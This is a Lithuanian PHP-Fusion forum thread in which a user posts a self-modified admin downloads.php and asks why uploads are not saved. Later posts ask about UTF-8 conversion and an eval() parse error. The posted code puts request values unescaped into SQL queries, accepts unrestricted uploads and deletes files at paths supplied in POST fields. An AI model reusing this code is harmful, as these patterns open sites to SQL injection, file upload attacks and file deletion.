<input type='checkbox' name='line_breaks' value='yes'$breaks>".$locale['473']."<br><br>
<input type='submit' name='preview_news' value='".$locale['474']."' class='button'>
<input type='submit' name='submit_news' value='".$locale['475']."' class='button'></center>
</td>
</tr>
</table>
</form>\n";
closetable();
}
echo "<script type='text/javascript'>
function validateLink(frm) {
if (frm.link_name.value==\"\" || frm.link_name.value==\"\" || frm.link_description.value==\"\") {
alert(\"".$locale['550']."\"); return false;
}
}
function validateNews(frm) {
if (frm.news_subject.value==\"\" || frm.news_body.value==\"\") {
alert(\"".$locale['550']."\"); return false;
}
}
function validateArticle(frm) {
if (frm.article_subject.value==\"\" || frm.article_snippet.value==\"\" || frm.article_body.value==\"\") {
alert(\"".$locale['550']."\");
return false;
}
}
function validatePhoto(frm) {
if (frm.photo_title.value==\"\" || frm.photo_description.value==\"\" || frm.photo_pic_file.value==\"\") {
alert(\"".$locale['550']."\");
return false;
}
}
</script>\n";
require_once "side_right.php";
require_once "footer.php";
?>
Parašė gintulys· 2009 Lap. 25 19:11:44
#41
Pamegink nauja ikelt :)
Parašė edeni· 2009 Lap. 26 12:11:43
#42
pas mane jis perdarytas palikta tik naujienų pridėjimas. VIS DAR REIKIA PAGALBOS ;(
Parašė edeni· 2010 Sau. 30 16:01:58
#43
Taigi naujas klausimas.
Turiu downloads.php failą ir per jį pridedu siuntinius, bet dabar kažkodėl viską įrašius man neprisideda siuntinis. Gal galite pažiūrėti kodėl?
downloads.php failas:
<?php
/*---------------------------------------------------+
| PHP-Fusion 7 Content Management System
+----------------------------------------------------+
| Copyright © 2002 - 2008 Nick Jones
| http://www.php-fusion.co.uk/
+----------------------------------------------------+
| Released under the terms & conditions of v2 of the
| GNU General Public License. For details refer to
| the included gpl.txt file or visit http://gnu.org
+----------------------------------------------------+
| Download System mSF For PHP-Fusion 7.xx v.4.9
| Copyright © 2008-2009 Powered by .:MeF:.
| URL: http://x-iweb.ru/
+----------------------------------------------------*/
require_once "../maincore.php";
require_once THEMES."templates/admin_header.php";
require_once INCLUDES."html_buttons_include.php";
include LOCALE.LOCALESET."admin/downloads.php";
require_once INCLUDES."bbcode_include.php";
if (!checkrights("D") || !defined("iAUTH") || $_GET['aid'] != iAUTH) { redirect("../index.php"); }
add_to_head("<script type=\"text/javascript\" src=\"".INCLUDES."download_system/jscripts/boxover.js\"></script>");
require_once INCLUDES."download_system/admin_menu.php";
if (isset($_GET['download_id']) && !isNum($_GET['download_id'])) fallback(FUSION_SELF.$aidlink);
if (!isset($_GET['step'])) $_GET['step'] = "";
$result = dbquery("SELECT (download_cat_id) FROM ".DB_DOWNLOAD_CATS."");
if (dbrows($result) != 0) {
if ($_GET['step'] == "delete") {
$del = dbarray(dbquery("SELECT * FROM ".DB_DOWNLOADS." WHERE download_id='".$_GET['download_id']."'"));
$download_url = $del['download_url'];
if (file_exists(BASEDIR.$download_url)) { unlink (BASEDIR.$download_url); }
if (file_exists(BASEDIR.'images/screens/'.$del['download_screen'])) {
unlink (BASEDIR."images/screens/".$del['download_screen']); }
$result = dbquery("DELETE FROM ".DB_DOWNLOADS." WHERE download_id='".$_GET['download_id']."'");
redirect(FUSION_SELF.$aidlink."&download_cat_id=".$_GET['download_id']."");
}
if (isset($_POST['save_download'])) {
require_once INCLUDES."download_system/function.php";
$download_title = stripinput($_POST['download_title']);
$download_screenas1 = stripinput($_POST['download_screenas1']);
$download_screenas2 = stripinput($_POST['download_screenas2']);
$download_screenas3 = stripinput($_POST['download_screenas3']);
$download_screenas4 = stripinput($_POST['download_screenas4']);
$download_screenas5 = stripinput($_POST['download_screenas5']);
$download_linkas1 = stripinput($_POST['download_linkas1']);
$download_linkas2 = stripinput($_POST['download_linkas2']);
$download_description = addslash($_POST['download_description']);
$download_description_p = addslash($_POST['download_description_p']);
if ($_GET['step'] !== "edit") {
if ($_FILES['upload']['error'] == "0") {
$upload_file = $_FILES['upload']['name'];
$upload_dir = BASEDIR."data/";
$tmp_path = $_FILES['upload']['tmp_name'];
$upload_file_name = str_replace(" ", "_", str_replace("%20", "_", $upload_file));
if (file_exists($upload_dir.$upload_file_name)) {
$upload_name = universal_detect_exists($upload_dir, $upload_file_name);
} else { $upload_name = $upload_file_name; }
if (move_uploaded_file($tmp_path, $upload_dir.$upload_name)) {
$dir = 'data/';
$download_url = $dir.$upload_name;
$download_filesize = array_reduce (array (" $B", " $KB", " $MB", " $GB", " $TB"),
create_function ('$a,$b', 'return is_numeric($a)?($a>=1024?$a/1024:number_format($a,2).$b):$a;'), filesize ($upload_dir.$upload_name));
$uploaded = true;
}
}
}
if ($_GET['step'] == "edit") {
if ($_POST['reedit'] == "1") {
$download_url = stripinput($_POST['file_url']);
$download_filesize = stripinput($_POST['file_sz']);
$uploaded = true;
} elseif ($_POST['reedit'] == "2") {
$download_url = stripinput($_POST['file_url']);
$download_filesize = stripinput($_POST['file_sz']);
unlink (BASEDIR.$download_url);
$result = dbquery("UPDATE ".DB_DOWNLOADS." SET download_url='".$_POST['download_url']."', download_filesize='".$_POST['download_filesize']."' WHERE download_id='".$_POST['download_id']."'");
$uploaded = true;
} elseif ($_POST['reedit'] == "3") {
$download_url = stripinput($_POST['file_url']);
$download_filesize = stripinput($_POST['file_sz']);
unlink (BASEDIR.$download_url);
$result = dbquery("UPDATE ".DB_DOWNLOADS." SET download_url='".$_POST['download_url']."', download_filesize='".$_POST['download_filesize']."' WHERE download_id='".$_POST['download_id']."'");
unset($download_url);
unset($download_filesize);
if ($_FILES['upload']['error'] == "0") {
$upload_file = $_FILES['upload']['name'];
$upload_dir = BASEDIR."data/";
$tmp_path = $_FILES['upload']['tmp_name'];
$upload_file_name = str_replace(" ", "_", str_replace("%20", "_", $upload_file));
if (file_exists($upload_dir.$upload_file_name)) {
$upload_name = universal_detect_exists($upload_dir, $upload_file_name);
} else { $upload_name = $upload_file_name; }
if (move_uploaded_file($tmp_path, $upload_dir.$upload_name)) {
$dir = 'data/';
$download_url = $dir.$upload_name;
$download_filesize = array_reduce (array (" $B", " $KB", " $MB", " $GB", " $TB"),
create_function ('$a,$b', 'return is_numeric($a)?($a>=1024?$a/1024:number_format($a,2).$b):$a;'), filesize ($upload_dir.$upload_name));
$uploaded = true;
}
}
} elseif ($_POST['reedit'] == "4") {
$download_url = stripinput($_POST['file_url']);
$download_filesize = stripinput($_POST['file_sz']);
unlink (BASEDIR.$download_url);
$result = dbquery("UPDATE ".DB_DOWNLOADS." SET download_url='".$_POST['download_url']."', download_filesize='".$_POST['download_filesize']."' WHERE download_id='".$_POST['download_id']."'");
unset($download_url);
unset($download_filesize);
$download_url = stripinput($_POST['download_url_e']);
$download_filesize = stripinput($_POST['download_filesize_e']);
$uploaded = true;
} else {
if ($_FILES['upload']['error'] == "0") {
$upload_file = $_FILES['upload']['name'];
$upload_dir = BASEDIR."data/";
$tmp_path = $_FILES['upload']['tmp_name'];
$upload_file_name = str_replace(" ", "_", str_replace("%20", "_", $upload_file));
if (file_exists($upload_dir.$upload_file_name)) {
$upload_name = universal_detect_exists($upload_dir, $upload_file_name);
} else { $upload_name = $upload_file_name; }
if (move_uploaded_file($tmp_path, $upload_dir.$upload_name)) {
$dir = 'data/';
$download_url = $dir.$upload_name;
$download_filesize = array_reduce (array (" $B", " $KB", " $MB", " $GB", " $TB"),
create_function ('$a,$b', 'return is_numeric($a)?($a>=1024?$a/1024:number_format($a,2).$b):$a;'), filesize ($upload_dir.$upload_name));
$uploaded = true;
}
}
}
}
if (!isset($uploaded)) {
$download_url = stripinput($_POST['download_url']);
$download_filesize = stripinput($_POST['download_filesize']);
}
$mirror_url = stripinput($_POST['mirror_url']);
$download_lang = stripinput($_POST['download_lang']);
$download_rus = stripinput($_POST['download_rus']);
$download_forum = stripinput($_POST['download_forum']);
$download_os = stripinput($_POST['download_os']);
$download_version = stripinput($_POST['download_version']);
$download_button = stripinput($_POST['download_button']);
$download_burl = stripinput($_POST['download_burl']);
$download_background = stripinput($_POST['download_background']);
$download_license = stripinput($_POST['download_license']);
$download_day = isNum($_POST['download_day']) ? $_POST['download_day'] : date("d");
$download_month = isNum($_POST['download_month']) ? $_POST['download_month'] : date("m");
$download_year = isNum($_POST['download_year']) ? $_POST['download_year'] : date("Y");
$download_hour = isNum($_POST['download_hour']) ? $_POST['download_hour'] : date("G");
$download_minute = isNum($_POST['download_minute']) ? $_POST['download_minute'] : date("i");
$download_second = isNum($_POST['download_second']) ? $_POST['download_second'] : date("s");
$download_datestamp = mktime($download_hour, $download_minute, $download_second, $download_month, $download_day, $download_year);
$download_access = isNum($_POST['download_access']) ? $_POST['download_access'] : "0";
$comments = isset($_POST['download_allow_comments']) ? "1" : "0";
$ratings = isset($_POST['download_allow_ratings']) ? "1" : "0";
$recommends = isset($_POST['download_allow_recommends']) ? "1" : "0";
$download_user = $userdata['user_id'];
$upload_screen = $_FILES['filename']['name'];
if ($upload_screen != '') {
$upload_dir_im = BASEDIR."images/screens/";
$tmp_path = $_FILES['filename']['tmp_name'];
$file_name = str_replace(" ", "_", str_replace("%20", "_", $upload_screen));
if (file_exists($upload_dir_im.$file_name)) {
$screen = universal_detect_exists($upload_dir_im, $file_name);
} else { $screen = $file_name; }
if(copy($tmp_path, $upload_dir_im.$screen));
$download_screen = $screen;
} elseif (isset($_POST['delete_screen']) == 1) {
if (file_exists(BASEDIR."images/screens/".$_POST['download_screen'])) {
unlink (BASEDIR."images/screens/".$_POST['download_screen']); }
$download_screen = '';
} else {
$download_screen = stripinput($_POST['download_screen']);
}
if ($_GET['step'] == "edit") {
$download_user = $_POST['download_user'];
$datetime2 = mktime($download_hour, $download_minute, $download_second, $download_month, $download_day, $download_year);
$download_datestamp = isset($_POST['update_datestamp']) ? ", download_datestamp='".time()."'" : ", download_datestamp='".$datetime2."'";
$result = dbquery("UPDATE ".DB_DOWNLOADS." SET download_user='$download_user', download_title='$download_title', download_linkas1='$download_linkas1', download_linkas2='$download_linkas2', download_screenas1='$download_screenas1', download_screenas2='$download_screenas2', download_screenas3='$download_screenas3', download_screenas4='$download_screenas4', download_screenas5='$download_screenas5', download_description='$download_description', download_description_p='$download_description_p', download_url='$download_url', download_cat='".$_POST['download_cat']."', download_license='$download_license', download_os='$download_os', download_version='$download_version', download_filesize='$download_filesize'".$download_datestamp.", download_allow_comments = $comments, download_allow_ratings = $ratings, download_allow_recommends = $recommends, download_access = '$download_access', mirror_url = '$mirror_url', download_lang = '$download_lang', download_rus = '$download_rus', download_forum = '$download_forum', download_button='$download_button', download_burl='$download_burl', download_background='$download_background', download_screen='$download_screen' WHERE download_id='".$_GET['download_id']."'");
redirect(FUSION_SELF.$aidlink."&download_cat_id=".$_POST['download_cat']."");
} else {
$result = dbquery("INSERT INTO ".DB_DOWNLOADS." (download_user, download_title, download_linkas1, download_linkas2, download_screenas1, download_screenas2, download_screenas3, download_screenas4, download_screenas5, download_screenas1,download_description, download_description_p, download_url, download_cat, download_license, download_os, download_version, download_filesize, download_datestamp, download_count, download_allow_comments, download_allow_ratings, download_allow_recommends, download_access, mirror_url, download_lang, download_rus, download_forum, download_screen, download_button, download_burl, download_background) VALUES ('$download_user', '$download_title', '$download_linkas1', '$download_linkas2', '$download_screenas1', '$download_screenas2', '$download_screenas3', '$download_screenas4', '$download_screenas5', '$download_description', '$download_description_p', '$download_url', '".$_POST['download_cat']."', '$download_license', '$download_os', '$download_version', '$download_filesize', '$download_datestamp', '0', '$comments', '$ratings', '$recommends', '$download_access', '$mirror_url', '$download_lang', '$download_rus', '$download_forum', '$download_screen', '$download_button', '$download_burl', '$download_background')");
redirect(FUSION_SELF.$aidlink."&download_cat_id=".$_POST['download_cat']."");
}
}
if ($_GET['step'] == "edit") {
$result = dbquery("SELECT * FROM ".DB_DOWNLOADS." WHERE download_id='".$_GET['download_id']."'");
$data = dbarray($result);
$download_title = $data['download_title'];
$download_linkas1 = $data['download_linkas1'];
$download_linkas2 = $data['download_linkas2'];
$download_screenas1 = $data['download_screenas1'];
$download_screenas2 = $data['download_screenas2'];
$download_screenas3 = $data['download_screenas3'];
$download_screenas4 = $data['download_screenas4'];
$download_screenas5 = $data['download_screenas5'];
$download_description = stripinput($data['download_description']);
$download_description_p = stripinput($data['download_description_p']);
$download_url = $data['download_url'];
$mirror_url = $data['mirror_url'];
$download_lang = $data['download_lang'];
$download_rus = $data['download_rus'];
$download_forum = $data['download_forum'];
$download_screen = $data['download_screen'];
$files2 = $data['download_screen'];
$download_button = $data['download_button'];
$download_burl = $data['download_burl'];
$download_background = $data['download_background'];
$download_license = $data['download_license'];
$download_os = $data['download_os'];
$download_version = $data['download_version'];
$download_filesize = $data['download_filesize'];
$download_access = $data['download_access'];
$download_user = $data['download_user'];
$download_day = date("d", $data['download_datestamp']);
$download_month = date("m", $data['download_datestamp']);
$download_year = date("Y", $data['download_datestamp']);
$download_hour = date("G", $data['download_datestamp']);
$download_minute = date("i", $data['download_datestamp']);
$download_second = date("s", $data['download_datestamp']);
$comments = ($data['download_allow_comments'] == "1" ? " checked" : "");
$ratings = ($data['download_allow_ratings'] == "1" ? " checked" : "");
$recommends = ($data['download_allow_recommends'] == "1" ? " checked" : "");
$formaction = FUSION_SELF.$aidlink."&action=edit&download_cat_id=".$data['download_cat']."&download_id=".$data['download_id'];
opentable($locale['451D']);
} else {
$download_title = "";
$download_linkas1 = "";
$download_linkas2 = "";
$download_screenas1 = "";
$download_screenas2 = "";
$download_screenas3 = "";
$download_screenas4 = "";
$download_screenas5 = "";
$download_description = "";
$download_description_p = "";
$download_url = "";
$mirror_url = "";
$download_lang = "";
$download_rus = "";
$download_forum = "";
$download_screen = "";
$download_button = "";
$download_burl = "";
$download_background = "";
$download_license = "";
$download_os = "";
$download_version = "";
$download_filesize = "";
$download_access = "";
$download_day = date("d");
$download_month = date("m");
$download_year = date("Y");
$download_hour = date("G");
$download_minute = date("i");
$download_second = date("s");
$comments = " checked";
$ratings = " checked";
$recommends = " checked";
$formaction = FUSION_SELF.$aidlink;
opentable($locale['452D']);
}
$editlist = ""; $sel = ""; $d_cat = @$data['download_cat'];
function catSelect($cats_id = 0, $chort = '') {
global $editlist, $sel, $d_cat, $step;
if ($cats_id != 0){ $chort.='-'; }
$result2 = dbquery("SELECT (download_cat_id),(download_cat_name) FROM ".DB_DOWNLOAD_CATS." WHERE download_cat_idc='".$cats_id."' ORDER BY download_cat_id ASC");
while ($data2 = dbarray($result2)) {
if (isset($_GET['step']) && $_GET['step'] == "edit") { $sel = ($d_cat == $data2['download_cat_id'] ? " selected" : ""); }
$editlist .= "<option value='".$data2['download_cat_id']."'$sel>$chort ".$data2['download_cat_name']."</option>\n";
catSelect($data2['download_cat_id'], $chort);
}
}
$user_groups = getusergroups(); $access_opts = ""; $sel = "";
while(list($key, $user_group) = each($user_groups)) {
$sel = ($download_access == $user_group['0'] ? " selected" : "");
$access_opts .= "<option value='".$user_group['0']."'$sel>".$user_group['1']."</option>\n";
}
catSelect();
echo "<form name='inputform' method='post' step='".$formaction."' enctype='multipart/form-data'>";
echo "<table align='center' cellpadding='0' cellspacing='0' width='460'>";
echo "<tr>";
echo "<td width='120' class='tbl'>".$locale['480D']."</td>";
echo "<td class='tbl'><input type='text' name='download_title' value='".$download_title."' class='textbox' style='width:380px;'></td>";
echo "</tr><tr>";
echo "<td valign='top' width='120' class='tbl'>".$locale['481D']."</td>";
echo "<td class='tbl'><textarea name='download_description' rows='5' cols='70' class='textbox'>".$download_description."</textarea><br />\n";
echo "<div class='tbl2'><a href=\"javascript:void(null)\" id=\"id1\"
onclick=\"if(document.getElementById('id2').style.display=='none') {
document.getElementById('id2').style.display='block';
document.getElementById('id1').innerHTML='".$locale['101HB']."';
}else{
document.getElementById('id2').style.display='none';
document.getElementById('id1').innerHTML='".$locale['100HB']."';}\">".$locale['100HB']."</a>";
echo "<div id='id2' align='center' style='display:none;'><br />".display_html("inputform", "download_description", true)."<br /><br />".display_bbcodes("380px", "download_description")."</div></div>\n";
echo "</td>";
echo "</tr><tr>";
echo "<td nowrap valign='top' width='120' class='tbl'>".$locale['490D']."</td>";
echo "<td class='tbl'><textarea name='download_description_p' rows='5' cols='70' class='textbox'>".$download_description_p."</textarea><br />\n";
echo "<div class='tbl2'><a href=\"javascript:void(null)\" id=\"id3\"
onclick=\"if(document.getElementById('id4').style.display=='none') {
document.getElementById('id4').style.display='block';
document.getElementById('id3').innerHTML='".$locale['101HB']."';
}else{
document.getElementById('id4').style.display='none';
document.getElementById('id3').innerHTML='".$locale['100HB']."';}\">".$locale['100HB']."</a>";
echo "<div id='id4' align='center' style='display:none;'><br />".display_html("inputform", "download_description_p", true)."<br /><br />".display_bbcodes("380px", "download_description_p")."</div></div>\n";
echo "</td>\n";
echo "</tr>";
if ($_GET['step'] !== "edit"){
} elseif ($_GET['step'] == "edit") {
echo "<tr>";
echo "<td width='120' class='tbl'> </td>";
echo "<td class='tbl'>";
echo "<input type='hidden' name='file_url' VALUE='".$download_url."'>";
echo "<input type='hidden' name='file_sz' VALUE='".$download_filesize."'>".@$report = empty($download_url) ? "".$locale['436D']."" : "".$locale['437D']." ".$download_url." (".$download_filesize.")".$report."</td></tr>";
if ($download_url != "" & file_exists("../".$download_url)) {
echo "<tr>";
echo "<td width='120' class='tbl'> </td>";
echo "<td class='tbl'>";
echo "<input type='radio' name='reedit' VALUE='1' checked> ".$locale['438D']."<br />";
echo "<input type='radio' name='reedit' VALUE='2'> ".$locale['504D']."<br />";
echo "<input type='radio' name='reedit' VALUE='3'> ".$locale['439D']."<br />";
echo "<input type='file' class='textbox' style='width:380px;' name='upload' />";
echo "</td></tr>";
echo "<tr><td width='120' class='tbl'> </td>";
echo "<td class='tbl'><input type='radio' name='reedit' VALUE='4'> ".$locale['440D']."</td>";
echo "</tr><tr>";
echo "<td width='120' class='tbl'>".$locale['482D']."</td>";
echo "<td class='tbl'><input type='text' name='download_url_e' value='' class='textbox' style='width:380px;'></td>";
echo "</tr><tr>";
echo "<td width='120' class='tbl'>".$locale['487D']."</td>";
echo "<td class='tbl'>";
echo "<input type='text' name='download_filesize_e' value='' class='textbox' style='width:150px;'>";
echo "</td></tr>";
} else {
echo "<tr>";
echo "<td width='120' class='tbl'> </td>";
echo "<td class='tbl'><b>".$locale['421D']."</b></td>";
echo "</tr><tr>";
echo "<td width='120' class='tbl'> </td>";
echo "<td class='tbl'><input type='file' class='textbox' style='width:380px;' name='upload' /></td>";
echo "</tr><tr>";
echo "<td width='120' class='tbl'> </td>";
echo "<td class='tbl'>";
$post_max_size = (ini_get('file_uploads')==0) ? "" : @ini_get('post_max_size');
echo "".$locale['419D']." ".$post_max_size;
echo "<br /><br /></td>";
echo "</tr><tr>";
echo "<td width='120' class='tbl'> </td>";
echo "<td class='tbl'><b>".$locale['420D']."</b></td>";
echo "</tr><tr>";
echo "<td width='120' class='tbl'>".$locale['482D']."</td>";
echo "<td class='tbl'><input type='text' name='download_url' value='".$download_url."' class='textbox' style='width:380px;'></td>";
echo "<tr>";
echo "<td width='120' class='tbl'>".$locale['487D']."</td>";
echo "<td class='tbl'><input type='text' name='download_filesize' value='".$download_filesize."' class='textbox' style='width:150px;'></td>";
echo "</tr>";
}
}
if ($_GET['step'] == "edit") {
echo "<tr>";
echo "<td width='120' class='tbl'> </td>";
echo "<td class='tbl'><b>".$locale['441D']."</b></td>";
echo "</tr>";
}
echo "<tr>";
if ($_GET['step'] == "edit") {
echo "</tr>";
}
echo "<tr>";
echo "<td width='120' class='tbl'> </td>";
echo "<td class='tbl'><b>".$locale['422D']."</b></td>";
echo "</tr>";
echo "<tr>";
echo "<td width='120' class='tbl'></td>";
echo "<td class='tbl'><b>Screenai</b></td>";
echo "</tr>";
echo "<tr>";
echo "<td width='120' class='tbl'>Screenas 1:</td>";
echo "<td class='tbl'><input type='text' name='download_screenas1' value='".$download_screenas1."' class='textbox' style='width:380px;'></td>";
echo "</tr>";
echo "<tr>";
echo "<td width='120' class='tbl'>Screenas 2:</td>";
echo "<td class='tbl'><input type='text' name='download_screenas2' value='".$download_screenas2."' class='textbox' style='width:380px;'></td>";
echo "</tr>";
echo "<tr>";
echo "<td width='120' class='tbl'>Screenas 3:</td>";
echo "<td class='tbl'><input type='text' name='download_screenas3' value='".$download_screenas3."' class='textbox' style='width:380px;'></td>";
echo "</tr>";
echo "<tr>";
echo "<td width='120' class='tbl'>Screenas 4:</td>";
echo "<td class='tbl'><input type='text' name='download_screenas4' value='".$download_screenas4."' class='textbox' style='width:380px;'></td>";
echo "</tr>";
echo "<tr>";
echo "<td width='120' class='tbl'>Screenas 5:</td>";
echo "<td class='tbl'><input type='text' name='download_screenas5' value='".$download_screenas5."' class='textbox' style='width:380px;'></td>";
echo "</tr>";
echo "<tr>";
echo "<td width='120' class='tbl'></td>";
echo "<td class='tbl'><b>Linkai</b></td>";
echo "</tr>";
echo "<tr>";
echo "<td width='120' class='tbl'>Linkas 1:</td>";
echo "<td class='tbl'><input type='text' name='download_linkas1' value='".$download_linkas1."' class='textbox' style='width:380px;'></td>";
echo "</tr>";
echo "<tr>";
echo "<td width='120' class='tbl'>Linkas 2:</td>";
echo "<td class='tbl'><input type='text' name='download_linkas2' value='".$download_linkas2."' class='textbox' style='width:380px;'></td>";
echo "</tr>";
echo "<tr>";
echo "<td width='120' class='tbl'>".$locale['483D']."</td>";
echo "<td class='tbl'><select name='download_cat' class='textbox' style='width:150px;'>
".$editlist."</select></td>";
echo "</tr><tr>";
echo "<td width='120' class='tbl' style='white-space:nowrap'>".$locale['444D']."</td>";
echo "<td class='tbl'><select name='download_access' class='textbox' style='width:150px;'>
".$access_opts."</select></td>";
echo "</tr><tr>";
echo "<td width='120' class='tbl'> </td>";
echo "<td class='tbl'><b>".$locale['433D']."</b></td>";
echo "</tr><tr>";
echo "<td colspan='2' class='tbl'>";
echo "<input type='checkbox' name='download_allow_comments' value='yes'".$comments."> ".$locale['423D']."<br />";
echo "<input type='checkbox' name='download_allow_ratings' value='yes'".$ratings."> ".$locale['424D']."<br />";
echo "<input type='checkbox' name='download_allow_recommends' value='yes'".$recommends."> ".$locale['425D']." ".$locale['426D']."</td>";
echo "</tr>";
echo "<tr><td class='tbl'>".$locale['449D']."</td>";
echo "<td class='tbl'>";
echo "<select name='download_day' class='textbox'>";
for ($i = 1; $i <= 31; $i++) echo "<option value='".$i."'".($i == $download_day ? " selected" : "").">".$i."</option>\n";
echo "</select>.<select name='download_month' class='textbox'>";
for ($i = 1; $i <= 12; $i++) echo "<option value='".$i."'".($i == $download_month ? " selected" : "").">".$i."</option>\n";
echo "</select>.<select name='download_year' class='textbox'>";
for ($i = 1970; $i <= 2020; $i++) echo "<option value='".$i."'".($i == $download_year ? " selected" : "").">".$i."</option>\n";
echo "</select> / <select name='download_hour' class='textbox'>";
for ($i = 0; $i <= 23; $i++) echo "<option value='".$i."'".($i == $download_hour ? " selected" : "").">".$i."</option>\n";
echo "</select>:<select name='download_minute' class='textbox'>";
for ($i = 0; $i <= 59; $i++) echo "<option value='".$i."'".($i == $download_minute ? " selected" : "").">".$i."</option>\n";
echo "</select>:<select name='download_second' class='textbox'>";
for ($i = 0; $i <= 59; $i++) echo "<option value='".$i."'".($i == $download_second ? " selected" : "").">".$i."</option>\n";
echo "</select>";
echo "</td></tr>\n";
echo "<tr>\n";
echo "<td colspan='2' class='tbl'>";
if ($_GET['step'] == "edit") {
echo "<input type='hidden' name='download_user' value='".$download_user."' />";
echo "<input type='checkbox' name='update_datestamp' value='1'> ".$locale['489D']."</td></tr>";
}
echo "<tr><td align='center' colspan='2' class='tbl'><br /><br />";
echo "<input type='submit' name='save_download' value='".$locale['488D']."' class='button'></td>";
echo "</tr>";
echo "</table></form>\n";
closetable();
tablebreak();
function files ($cats_id = 0, $chort = '') {
global $locale, $aidlink;
if ($cats_id != 0) { $chort.='-'; }
$result = dbquery("SELECT (download_cat_id),(download_cat_name) FROM ".DB_DOWNLOAD_CATS." WHERE download_cat_idc='".$cats_id."' ORDER BY download_cat_id ASC");
while ($data = dbarray($result)) {
if (!isset($_GET['download_cat_id'])) $_GET['download_cat_id'] = "";
if ($data['download_cat_id'] == $_GET['download_cat_id']) { $p_img = "off"; $div = ""; } else { $p_img = "on"; $div = "style='display:none'"; }
$cat_name = $chort == "" ? "<b>".$data['download_cat_name']."</b>" : $chort.$data['download_cat_name'];
$tbl = $chort == "" ? "tbl2" : "tbl1";
echo "<tr><td class='".$tbl."'>".$cat_name."</td>";
echo "<td class='".$tbl."' align='right'><img onclick=\"javascript:flipBox('".$data['download_cat_id']."')\" src='".THEME."images/panel_".$p_img.".gif' name='b_".$data['download_cat_id']."' alt=''></td>
</tr>\n";
$result2 = dbquery("SELECT download_id,download_title,download_url,download_user,download_datestamp,download_filesize FROM ".DB_DOWNLOADS." WHERE download_cat='".$data['download_cat_id']."' ORDER BY download_title");
if (dbrows($result2) != 0) {
echo "<tr><td colspan='2'>\n";
echo "<div id='box_".$data['download_cat_id']."'".$div.">\n";
echo "<table width='100%' cellpadding='0' cellspacing='0'>\n";
while ($data2 = dbarray($result2)) {
if (strstr($data2['download_url'],"data/")) {
$download_url = BASEDIR.$data2['download_url'];
} elseif (!strstr($data2['download_url'],"http://") || !strstr($data2['download_url'],"ftp://")) {
$download_url = $data2['download_url'];
}
$user = dbarray(dbquery("SELECT user_name FROM ".DB_USERS." WHERE user_id='".$data2['download_user']."'"));
$info = "<div>".$locale['491D'].showdate("%d.%m.%y", $data2['download_datestamp'])."</div><div>".$locale['492D'].$user['user_name']."</div><div>".$locale['487D']." ".$data2['download_filesize']."</div>";
echo "<tr><td class='tbl'><img src='".THEME."images/bullet.gif'> <a title='header=[".$locale['493D']."] body=[".$info."]' onclick='jumpurl(\"".$download_url."\");'>".$data2['download_title']."</a></td>";
echo "<td align='right' width='120' class='small2'><a href='".FUSION_SELF.$aidlink."&step=edit&download_cat_id=".$data['download_cat_id']."&download_id=".$data2['download_id']."'>".$locale['503D']."</a> - <a href='".FUSION_SELF.$aidlink."&step=delete&download_cat_id=".$data['download_cat_id']."&download_id=".$data2['download_id']."' onClick='return DeleteItem()'>".$locale['504D']."</a></td>
</tr>\n";
}
echo "</table>";
echo "</div>";
echo "</td></tr>\n";
} else {
echo "<tr><td colspan='2'>";
echo "<div id='box_".$data['download_cat_id']."' style='display:none'>";
echo "<table cellpadding='0' cellspacing='0' width='100%'><tr><td class='tbl'>".$locale['505D']."</td></tr></table>";
echo "</div>";
echo "</td></tr>\n";
}
files ($data['download_cat_id'], $chort);
}
}
opentable($locale['500D']);
echo "<table align='center' cellpadding='0' cellspacing='0' width='60%'>\n";
$result = dbquery("SELECT (download_cat_id),(download_cat_idc),(download_cat_name) FROM ".DB_DOWNLOAD_CATS." ORDER BY download_cat_id");
if (dbrows($result) != 0) {
echo "<tr><td class='tbl2'>".$locale['501D']."</td>";
echo "<td align='right' class='tbl2'>".$locale['502D']."</td></tr>";
echo "<tr><td colspan='2' height='1'></td></tr>\n";
files();
echo "</table>\n";
echo "<script type='text/javascript'>
function jumpurl(url) { document.location.href=url; }
function DeleteItem() { return confirm('".$locale['450D']."'); }
</script>\n";
} else {
echo "<tr><td align='center'><br />".$locale['506D']."<br /><br /><a href='download_cats.php".$aidlink."'>".$locale['507D']."<br /><br /></td></tr>";
echo "</table>\n";
}
closetable();
} else {
opentable($locale['500D']);
echo "<center>".$locale['508D']."<br />".$locale['509D']."<br /><br /><a href='download_cats.php".$aidlink."'>".$locale['510D']."</a>".$locale['511D']."</center>\n";
closetable();
}
copyright_xiweb();
require_once THEMES."templates/footer.php";
?>
Tik nesakykit pamegink permesti iš naujo, nes čia yra neoriginalus failas, mano paredaguotas.
Redagavo edeni· 2010 Geg. 10 14:05:25
Parašė edeni· 2010 Rugs. 21 14:09:26
#44
Chebra gal žinot kaip pakeist heroglifus į lietuviškas raides? Nes darau iš windows-1257 į utf-8 ir nerodo lt raidžių :((( Kurios buvo seniau įrašytos į
mysql.
Redagavo edeni· 2010 Spa. 15 20:10:34
Parašė Creatium· 2010 Spa. 15 21:10:01
#45
Jau buvo neseniai toks klausimas užduotas ir į jį atsakyta.
O atsakymas toks:
po prisijungimo prie
mysql rašyk tokią eilutę:
Parašė Noyz· 2010 Spa. 15 21:10:31
#46
Bandyk šitą, man veikė.
Parašė edeni· 2010 Spa. 15 21:10:24
#47
Šitas jau buvo senai padarytas. Viską dariau pagal ozz'o pamoką, tačiau ten neveikia kodas, kur pakeičia heroglifus į LT raides.
Parašė Creatium· 2010 Spa. 15 21:10:56
#48
O visus failus išsaugojai utf-8 koduote?
Parašė edeni· 2010 Spa. 15 21:10:27
#49
Aš naudoju nauja švaru fusioną. Viską pagal naujausia ozzo naujieną dariau. Tiesa visi žodžiai yra
mysql'e :)
Straipsnyje parašyta:
Jeigu jau turite saitą su ne UTF-8 duomenų baze, kurioje yra hieroglifų vietoje LT raidžių, tai pirmiausia reikėtų dar reiktų atsidarius pridėtinius puslapius įvykdyti šį mano parašytą skriptuką:
Tačiau tas "skriptukas" nenori man veikt, kažkodėl.
Klaida:
Parse error: syntax error, unexpected T_CONSTANT_ENCAPSED_STRING in /home/edeni/domains/adresas.eu/public_html/viewpage.php(34) : eval()'d code on line 26
Redagavo edeni· 2010 Spa. 17 15:10:11